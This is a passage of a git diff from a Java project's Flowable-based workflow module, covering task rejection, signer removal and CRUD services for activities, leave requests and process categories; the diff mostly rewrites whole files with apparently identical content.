taskDefinitionKey); + if (multiInstanceVo == null) { + throw new ServiceException("当前环节不是会签节点"); + } + if (multiInstanceVo.getType() instanceof ParallelMultiInstanceBehavior) { + for (String executionId : deleteMultiBo.getExecutionIds()) { + runtimeService.deleteMultiInstanceExecution(executionId, false); + } + for (String taskId : deleteMultiBo.getTaskIds()) { + historyService.deleteHistoricTaskInstance(taskId); + } + } else if (multiInstanceVo.getType() instanceof SequentialMultiInstanceBehavior) { + DeleteSequenceMultiInstanceCmd deleteSequenceMultiInstanceCmd = new DeleteSequenceMultiInstanceCmd(task.getAssignee(), task.getExecutionId(), multiInstanceVo.getAssigneeList(), deleteMultiBo.getAssigneeIds()); + managementService.executeCommand(deleteSequenceMultiInstanceCmd); + } + List assigneeNames = deleteMultiBo.getAssigneeNames(); + String username = LoginHelper.getUsername(); + TaskEntity newTask = WorkflowUtils.createNewTask(task); + taskService.addComment(newTask.getId(), processInstanceId, TaskStatusEnum.SIGN_OFF.getStatus(), username + "减签【" + String.join(StringUtils.SEPARATOR, assigneeNames) + "】"); + taskService.complete(newTask.getId()); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 驳回审批 + * + * @param backProcessBo 参数 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public String backProcess(BackProcessBo backProcessBo) { + String userId = String.valueOf(LoginHelper.getUserId()); + Task task = WorkflowUtils.getTaskByCurrentUser(backProcessBo.getTaskId()); + + if (ObjectUtil.isEmpty(task)) { + throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); + } + if (task.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + try { + String processInstanceId = task.getProcessInstanceId(); + ProcessInstance processInstance = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); + //获取并行网关执行后保留的执行实例数据 + ExecutionChildByExecutionIdCmd childByExecutionIdCmd = new ExecutionChildByExecutionIdCmd(task.getExecutionId()); + List executionEntities = managementService.executeCommand(childByExecutionIdCmd); + //校验单据 + BusinessStatusEnum.checkBackStatus(processInstance.getBusinessStatus()); + //判断是否有多个任务 + List taskList = QueryUtils.taskQuery(processInstanceId).list(); + String backTaskDefinitionKey = backProcessBo.getTargetActivityId(); + taskService.addComment(task.getId(), processInstanceId, TaskStatusEnum.BACK.getStatus(), StringUtils.isNotBlank(backProcessBo.getMessage()) ? backProcessBo.getMessage() : "退回"); + if (taskList.size() > 1) { + //当前多个任务驳回到单个节点 + runtimeService.createChangeActivityStateBuilder().processInstanceId(processInstanceId).moveActivityIdsToSingleActivityId(taskList.stream().map(Task::getTaskDefinitionKey).distinct().collect(Collectors.toList()), backTaskDefinitionKey).changeState(); + ActHiTaskinst actHiTaskinst = new ActHiTaskinst(); + actHiTaskinst.setAssignee(userId); + actHiTaskinst.setId(task.getId()); + actHiTaskinstMapper.updateById(actHiTaskinst); + } else { + //当前单个节点驳回单个节点 + runtimeService.createChangeActivityStateBuilder().processInstanceId(processInstanceId).moveActivityIdTo(task.getTaskDefinitionKey(), backTaskDefinitionKey).changeState(); + } + //删除并行环节未办理记录 + MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); + if (multiInstance == null && taskList.size() > 1) { + List tasks = StreamUtils.filter(taskList, e -> !e.getTaskDefinitionKey().equals(task.getTaskDefinitionKey())); + if (CollUtil.isNotEmpty(tasks)) { + actHiTaskinstMapper.deleteByIds(StreamUtils.toList(tasks, Task::getId)); + } + } + + + List instanceList = QueryUtils.hisTaskInstanceQuery(processInstanceId).finished().orderByHistoricTaskInstanceEndTime().desc().list(); + List list = QueryUtils.taskQuery(processInstanceId).list(); + for (Task t : list) { + instanceList.stream().filter(e -> e.getTaskDefinitionKey().equals(t.getTaskDefinitionKey())).findFirst().ifPresent(e -> { + taskService.setAssignee(t.getId(), e.getAssignee()); + }); + } + //发送消息 + String message = "您的【" + processInstance.getName() + "】单据已经被驳回,请您注意查收。"; + sendMessage(list, processInstance.getName(), backProcessBo.getMessageType(), message); + //删除流程实例垃圾数据 + for (ExecutionEntity executionEntity : executionEntities) { + DeleteExecutionCmd deleteExecutionCmd = new DeleteExecutionCmd(executionEntity.getId()); + managementService.executeCommand(deleteExecutionCmd); + } + + WfTaskBackNode wfTaskBackNode = wfTaskBackNodeService.getListByInstanceIdAndNodeId(task.getProcessInstanceId(), backProcessBo.getTargetActivityId()); + if (ObjectUtil.isNotNull(wfTaskBackNode) && wfTaskBackNode.getOrderNo() == 0) { + runtimeService.updateBusinessStatus(processInstanceId, BusinessStatusEnum.BACK.getStatus()); + flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), + processInstance.getBusinessKey(), BusinessStatusEnum.BACK.getStatus(), false); + } + //删除驳回后的流程节点 + wfTaskBackNodeService.deleteBackTaskNode(processInstanceId, backProcessBo.getTargetActivityId()); + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + return task.getProcessInstanceId(); + } + + /** + * 修改任务办理人 + * + * @param taskIds 任务id + * @param userId 办理人id + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean updateAssignee(String[] taskIds, String userId) { + try { + List list = QueryUtils.taskQuery().taskIds(Arrays.asList(taskIds)).list(); + for (Task task : list) { + taskService.setAssignee(task.getId(), userId); + } + } catch (Exception e) { + log.error("修改失败:" + e.getMessage(), e); + throw new ServiceException("修改失败:" + e.getMessage()); + } + return true; + } + + /** + * 查询流程变量 + * + * @param taskId 任务id + */ + @Override + public List getInstanceVariable(String taskId) { + List variableVoList = new ArrayList<>(); + Map variableInstances = taskService.getVariableInstances(taskId); + if (CollUtil.isNotEmpty(variableInstances)) { + for (Map.Entry entry : variableInstances.entrySet()) { + VariableVo variableVo = new VariableVo(); + variableVo.setKey(entry.getKey()); + variableVo.setValue(entry.getValue().getValue().toString()); + variableVoList.add(variableVo); + } + } + return variableVoList; + } + + /** + * 查询工作流任务用户选择加签人员 + * + * @param taskId 任务id + * @return + */ + @Override + @SuppressWarnings("unchecked") + public String getTaskUserIdsByAddMultiInstance(String taskId) { + Task task = QueryUtils.taskQuery().taskId(taskId).singleResult(); + if (task == null) { + throw new ServiceException("任务不存在"); + } + MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); + if (multiInstance == null) { + return ""; + } + List userIds; + if (multiInstance.getType() instanceof SequentialMultiInstanceBehavior) { + userIds = (List) runtimeService.getVariable(task.getExecutionId(), multiInstance.getAssigneeList()); + } else { + List list = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); + userIds = StreamUtils.toList(list, e -> Long.valueOf(e.getAssignee())); + } + return StringUtils.join(userIds, StringUtils.SEPARATOR); + } + + /** + * 查询工作流选择减签人员 + * + * @param taskId 任务id 任务id + */ + @Override + @SuppressWarnings("unchecked") + public List getListByDeleteMultiInstance(String taskId) { + Task task = QueryUtils.taskQuery().taskId(taskId).singleResult(); + List taskList = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); + MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); + List taskListVo = new ArrayList<>(); + if (multiInstance == null) { + return List.of(); + } + List assigneeList = new ArrayList<>(); + if (multiInstance.getType() instanceof SequentialMultiInstanceBehavior) { + List variable = (List) runtimeService.getVariable(task.getExecutionId(), multiInstance.getAssigneeList()); + for (Object o : variable) { + assigneeList.add(Long.valueOf(o.toString())); + } + } + + if (multiInstance.getType() instanceof SequentialMultiInstanceBehavior) { + List userIds = StreamUtils.filter(assigneeList, e -> !String.valueOf(e).equals(task.getAssignee())); + List userList = userService.selectListByIds(userIds); + for (Long userId : userIds) { + TaskVo taskVo = new TaskVo(); + taskVo.setId("串行会签"); + taskVo.setExecutionId("串行会签"); + taskVo.setProcessInstanceId(task.getProcessInstanceId()); + taskVo.setName(task.getName()); + taskVo.setAssignee(userId); + if (CollUtil.isNotEmpty(userList)) { + userList.stream().filter(u -> u.getUserId().toString().equals(userId.toString())).findFirst().ifPresent(u -> taskVo.setAssigneeName(u.getNickName())); + } + taskListVo.add(taskVo); + } + return taskListVo; + } else if (multiInstance.getType() instanceof ParallelMultiInstanceBehavior) { + List tasks = StreamUtils.filter(taskList, e -> StringUtils.isBlank(e.getParentTaskId()) && !e.getExecutionId().equals(task.getExecutionId()) && e.getTaskDefinitionKey().equals(task.getTaskDefinitionKey())); + if (CollUtil.isNotEmpty(tasks)) { + List userIds = StreamUtils.toList(tasks, e -> Long.valueOf(e.getAssignee())); + List userList = userService.selectListByIds(userIds); + for (Task t : tasks) { + TaskVo taskVo = new TaskVo(); + taskVo.setId(t.getId()); + taskVo.setExecutionId(t.getExecutionId()); + taskVo.setProcessInstanceId(t.getProcessInstanceId()); + taskVo.setName(t.getName()); + taskVo.setAssignee(Long.valueOf(t.getAssignee())); + if (CollUtil.isNotEmpty(userList)) { + userList.stream().filter(u -> u.getUserId().toString().equals(t.getAssignee())).findFirst().ifPresent(e -> taskVo.setAssigneeName(e.getNickName())); + } + taskListVo.add(taskVo); + } + return taskListVo; + } + } + return List.of(); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TActivityServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TActivityServiceImpl.java index 03df93d..1bd42fa 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TActivityServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TActivityServiceImpl.java @@ -1,132 +1,132 @@ -package org.dromara.workflow.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.TActivity; -import org.dromara.workflow.domain.bo.TActivityBo; -import org.dromara.workflow.domain.vo.TActivityVo; -import org.dromara.workflow.mapper.TActivityMapper; -import org.dromara.workflow.service.ITActivityService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 活动Service业务层处理 - * - * @author Lion Li - * @date 2024-07-19 - */ -@RequiredArgsConstructor -@Service -public class TActivityServiceImpl implements ITActivityService { - - private final TActivityMapper baseMapper; - - /** - * 查询活动 - * - * @param id 主键 - * @return 活动 - */ - @Override - public TActivityVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询活动列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 活动分页列表 - */ - @Override - public TableDataInfo queryPageList(TActivityBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的活动列表 - * - * @param bo 查询条件 - * @return 活动列表 - */ - @Override - public List queryList(TActivityBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TActivityBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getCreateTime() != null, TActivity::getCreateTime, bo.getCreateTime()); - lqw.eq(StringUtils.isNotBlank(bo.getTitle()), TActivity::getTitle, bo.getTitle()); - lqw.eq(bo.getStartTime() != null, TActivity::getStartTime, bo.getStartTime()); - lqw.eq(bo.getEndTime() != null, TActivity::getEndTime, bo.getEndTime()); - return lqw; - } - - /** - * 新增活动 - * - * @param bo 活动 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TActivityBo bo) { - TActivity add = MapstructUtils.convert(bo, TActivity.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改活动 - * - * @param bo 活动 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TActivityBo bo) { - TActivity update = MapstructUtils.convert(bo, TActivity.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TActivity entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除活动信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.workflow.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.TActivity; +import org.dromara.workflow.domain.bo.TActivityBo; +import org.dromara.workflow.domain.vo.TActivityVo; +import org.dromara.workflow.mapper.TActivityMapper; +import org.dromara.workflow.service.ITActivityService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 活动Service业务层处理 + * + * @author Lion Li + * @date 2024-07-19 + */ +@RequiredArgsConstructor +@Service +public class TActivityServiceImpl implements ITActivityService { + + private final TActivityMapper baseMapper; + + /** + * 查询活动 + * + * @param id 主键 + * @return 活动 + */ + @Override + public TActivityVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询活动列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 活动分页列表 + */ + @Override + public TableDataInfo queryPageList(TActivityBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的活动列表 + * + * @param bo 查询条件 + * @return 活动列表 + */ + @Override + public List queryList(TActivityBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TActivityBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getCreateTime() != null, TActivity::getCreateTime, bo.getCreateTime()); + lqw.eq(StringUtils.isNotBlank(bo.getTitle()), TActivity::getTitle, bo.getTitle()); + lqw.eq(bo.getStartTime() != null, TActivity::getStartTime, bo.getStartTime()); + lqw.eq(bo.getEndTime() != null, TActivity::getEndTime, bo.getEndTime()); + return lqw; + } + + /** + * 新增活动 + * + * @param bo 活动 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TActivityBo bo) { + TActivity add = MapstructUtils.convert(bo, TActivity.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改活动 + * + * @param bo 活动 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TActivityBo bo) { + TActivity update = MapstructUtils.convert(bo, TActivity.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TActivity entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除活动信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TestLeaveServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TestLeaveServiceImpl.java index f81c85f..afb5f9d 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TestLeaveServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/TestLeaveServiceImpl.java @@ -1,157 +1,157 @@ -package org.dromara.workflow.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.event.ProcessEvent; -import org.dromara.common.core.domain.event.ProcessTaskEvent; -import org.dromara.common.core.enums.BusinessStatusEnum; -import org.dromara.common.core.service.WorkflowService; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.TestLeave; -import org.dromara.workflow.domain.bo.TestLeaveBo; -import org.dromara.workflow.domain.vo.TestLeaveVo; -import org.dromara.workflow.mapper.TestLeaveMapper; -import org.dromara.workflow.service.ITestLeaveService; -import org.springframework.context.event.EventListener; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.Collection; -import java.util.List; - -/** - * 请假Service业务层处理 - * - * @author may - * @date 2023-07-21 - */ -@RequiredArgsConstructor -@Service -@Slf4j -public class TestLeaveServiceImpl implements ITestLeaveService { - - private final TestLeaveMapper baseMapper; - private final WorkflowService workflowService; - - /** - * 查询请假 - */ - @Override - public TestLeaveVo queryById(Long id) { - return baseMapper.selectVoById(id); - } - - /** - * 查询请假列表 - */ - @Override - public TableDataInfo queryPageList(TestLeaveBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询请假列表 - */ - @Override - public List queryList(TestLeaveBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TestLeaveBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(StringUtils.isNotBlank(bo.getLeaveType()), TestLeave::getLeaveType, bo.getLeaveType()); - lqw.ge(bo.getStartLeaveDays() != null, TestLeave::getLeaveDays, bo.getStartLeaveDays()); - lqw.le(bo.getEndLeaveDays() != null, TestLeave::getLeaveDays, bo.getEndLeaveDays()); - lqw.orderByDesc(BaseEntity::getCreateTime); - return lqw; - } - - /** - * 新增请假 - */ - @Override - public TestLeaveVo insertByBo(TestLeaveBo bo) { - TestLeave add = MapstructUtils.convert(bo, TestLeave.class); - if (StringUtils.isBlank(add.getStatus())) { - add.setStatus(BusinessStatusEnum.DRAFT.getStatus()); - } - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return MapstructUtils.convert(add, TestLeaveVo.class); - } - - /** - * 修改请假 - */ - @Override - public TestLeaveVo updateByBo(TestLeaveBo bo) { - TestLeave update = MapstructUtils.convert(bo, TestLeave.class); - baseMapper.updateById(update); - return MapstructUtils.convert(update, TestLeaveVo.class); - } - - /** - * 批量删除请假 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean deleteWithValidByIds(Collection ids) { - List idList = StreamUtils.toList(ids, String::valueOf); - workflowService.deleteRunAndHisInstance(idList); - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 总体流程监听(例如: 提交 退回 撤销 终止 作废等) - * 正常使用只需#processEvent.key=='leave1' - * 示例为了方便则使用startsWith匹配了全部示例key - * - * @param processEvent 参数 - */ - @EventListener(condition = "#processEvent.key.startsWith('leave')") - public void processHandler(ProcessEvent processEvent) { - log.info("当前任务执行了{}", processEvent.toString()); - TestLeave testLeave = baseMapper.selectById(Long.valueOf(processEvent.getBusinessKey())); - testLeave.setStatus(processEvent.getStatus()); - if (processEvent.isSubmit()) { - testLeave.setStatus(BusinessStatusEnum.WAITING.getStatus()); - } - baseMapper.updateById(testLeave); - } - - /** - * 执行办理任务监听 - * 示例:也可通过 @EventListener(condition = "#processTaskEvent.key=='leave1'")进行判断 - * 在方法中判断流程节点key - * if ("xxx".equals(processTaskEvent.getTaskDefinitionKey())) { - * //执行业务逻辑 - * } - * - * @param processTaskEvent 参数 - */ - @EventListener(condition = "#processTaskEvent.key.startsWith('leave')") - public void processTaskHandler(ProcessTaskEvent processTaskEvent) { - // 所有demo案例的申请人节点id - String[] ids = {"Activity_14633hx", "Activity_19b1i4j", "Activity_0uscrk3", - "Activity_0uscrk3", "Activity_0x6b71j", "Activity_0zy3g6j", "Activity_06a55t0"}; - if (StringUtils.equalsAny(processTaskEvent.getTaskDefinitionKey(), ids)) { - log.info("当前任务执行了{}", processTaskEvent.toString()); - TestLeave testLeave = baseMapper.selectById(Long.valueOf(processTaskEvent.getBusinessKey())); - testLeave.setStatus(BusinessStatusEnum.WAITING.getStatus()); - baseMapper.updateById(testLeave); - } - } -} +package org.dromara.workflow.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.event.ProcessEvent; +import org.dromara.common.core.domain.event.ProcessTaskEvent; +import org.dromara.common.core.enums.BusinessStatusEnum; +import org.dromara.common.core.service.WorkflowService; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.TestLeave; +import org.dromara.workflow.domain.bo.TestLeaveBo; +import org.dromara.workflow.domain.vo.TestLeaveVo; +import org.dromara.workflow.mapper.TestLeaveMapper; +import org.dromara.workflow.service.ITestLeaveService; +import org.springframework.context.event.EventListener; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.Collection; +import java.util.List; + +/** + * 请假Service业务层处理 + * + * @author may + * @date 2023-07-21 + */ +@RequiredArgsConstructor +@Service +@Slf4j +public class TestLeaveServiceImpl implements ITestLeaveService { + + private final TestLeaveMapper baseMapper; + private final WorkflowService workflowService; + + /** + * 查询请假 + */ + @Override + public TestLeaveVo queryById(Long id) { + return baseMapper.selectVoById(id); + } + + /** + * 查询请假列表 + */ + @Override + public TableDataInfo queryPageList(TestLeaveBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询请假列表 + */ + @Override + public List queryList(TestLeaveBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TestLeaveBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(StringUtils.isNotBlank(bo.getLeaveType()), TestLeave::getLeaveType, bo.getLeaveType()); + lqw.ge(bo.getStartLeaveDays() != null, TestLeave::getLeaveDays, bo.getStartLeaveDays()); + lqw.le(bo.getEndLeaveDays() != null, TestLeave::getLeaveDays, bo.getEndLeaveDays()); + lqw.orderByDesc(BaseEntity::getCreateTime); + return lqw; + } + + /** + * 新增请假 + */ + @Override + public TestLeaveVo insertByBo(TestLeaveBo bo) { + TestLeave add = MapstructUtils.convert(bo, TestLeave.class); + if (StringUtils.isBlank(add.getStatus())) { + add.setStatus(BusinessStatusEnum.DRAFT.getStatus()); + } + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return MapstructUtils.convert(add, TestLeaveVo.class); + } + + /** + * 修改请假 + */ + @Override + public TestLeaveVo updateByBo(TestLeaveBo bo) { + TestLeave update = MapstructUtils.convert(bo, TestLeave.class); + baseMapper.updateById(update); + return MapstructUtils.convert(update, TestLeaveVo.class); + } + + /** + * 批量删除请假 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean deleteWithValidByIds(Collection ids) { + List idList = StreamUtils.toList(ids, String::valueOf); + workflowService.deleteRunAndHisInstance(idList); + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 总体流程监听(例如: 提交 退回 撤销 终止 作废等) + * 正常使用只需#processEvent.key=='leave1' + * 示例为了方便则使用startsWith匹配了全部示例key + * + * @param processEvent 参数 + */ + @EventListener(condition = "#processEvent.key.startsWith('leave')") + public void processHandler(ProcessEvent processEvent) { + log.info("当前任务执行了{}", processEvent.toString()); + TestLeave testLeave = baseMapper.selectById(Long.valueOf(processEvent.getBusinessKey())); + testLeave.setStatus(processEvent.getStatus()); + if (processEvent.isSubmit()) { + testLeave.setStatus(BusinessStatusEnum.WAITING.getStatus()); + } + baseMapper.updateById(testLeave); + } + + /** + * 执行办理任务监听 + * 示例:也可通过 @EventListener(condition = "#processTaskEvent.key=='leave1'")进行判断 + * 在方法中判断流程节点key + * if ("xxx".equals(processTaskEvent.getTaskDefinitionKey())) { + * //执行业务逻辑 + * } + * + * @param processTaskEvent 参数 + */ + @EventListener(condition = "#processTaskEvent.key.startsWith('leave')") + public void processTaskHandler(ProcessTaskEvent processTaskEvent) { + // 所有demo案例的申请人节点id + String[] ids = {"Activity_14633hx", "Activity_19b1i4j", "Activity_0uscrk3", + "Activity_0uscrk3", "Activity_0x6b71j", "Activity_0zy3g6j", "Activity_06a55t0"}; + if (StringUtils.equalsAny(processTaskEvent.getTaskDefinitionKey(), ids)) { + log.info("当前任务执行了{}", processTaskEvent.toString()); + TestLeave testLeave = baseMapper.selectById(Long.valueOf(processTaskEvent.getBusinessKey())); + testLeave.setStatus(BusinessStatusEnum.WAITING.getStatus()); + baseMapper.updateById(testLeave); + } + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfCategoryServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfCategoryServiceImpl.java index e562823..15ea832 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfCategoryServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfCategoryServiceImpl.java @@ -1,130 +1,130 @@ -package org.dromara.workflow.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.workflow.domain.WfCategory; -import org.dromara.workflow.domain.bo.WfCategoryBo; -import org.dromara.workflow.domain.vo.WfCategoryVo; -import org.dromara.workflow.mapper.WfCategoryMapper; -import org.dromara.workflow.service.IWfCategoryService; -import org.dromara.workflow.utils.QueryUtils; -import org.flowable.engine.RepositoryService; -import org.flowable.engine.repository.Deployment; -import org.flowable.engine.repository.Model; -import org.flowable.engine.repository.ProcessDefinition; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.Collection; -import java.util.List; - -/** - * 流程分类Service业务层处理 - * - * @author may - * @date 2023-06-28 - */ -@RequiredArgsConstructor -@Service -public class WfCategoryServiceImpl implements IWfCategoryService { - - private final WfCategoryMapper baseMapper; - @Autowired(required = false) - private RepositoryService repositoryService; - - /** - * 查询流程分类 - */ - @Override - public WfCategoryVo queryById(Long id) { - return baseMapper.selectVoById(id); - } - - - /** - * 查询流程分类列表 - */ - @Override - public List queryList(WfCategoryBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(WfCategoryBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getCategoryName()), WfCategory::getCategoryName, bo.getCategoryName()); - lqw.eq(StringUtils.isNotBlank(bo.getCategoryCode()), WfCategory::getCategoryCode, bo.getCategoryCode()); - return lqw; - } - - /** - * 新增流程分类 - */ - @Override - public Boolean insertByBo(WfCategoryBo bo) { - WfCategory add = MapstructUtils.convert(bo, WfCategory.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改流程分类 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean updateByBo(WfCategoryBo bo) { - WfCategory update = MapstructUtils.convert(bo, WfCategory.class); - validEntityBeforeSave(update); - WfCategoryVo wfCategoryVo = baseMapper.selectVoById(bo.getId()); - List processDefinitionList = QueryUtils.definitionQuery().processDefinitionCategory(wfCategoryVo.getCategoryCode()).list(); - for (ProcessDefinition processDefinition : processDefinitionList) { - 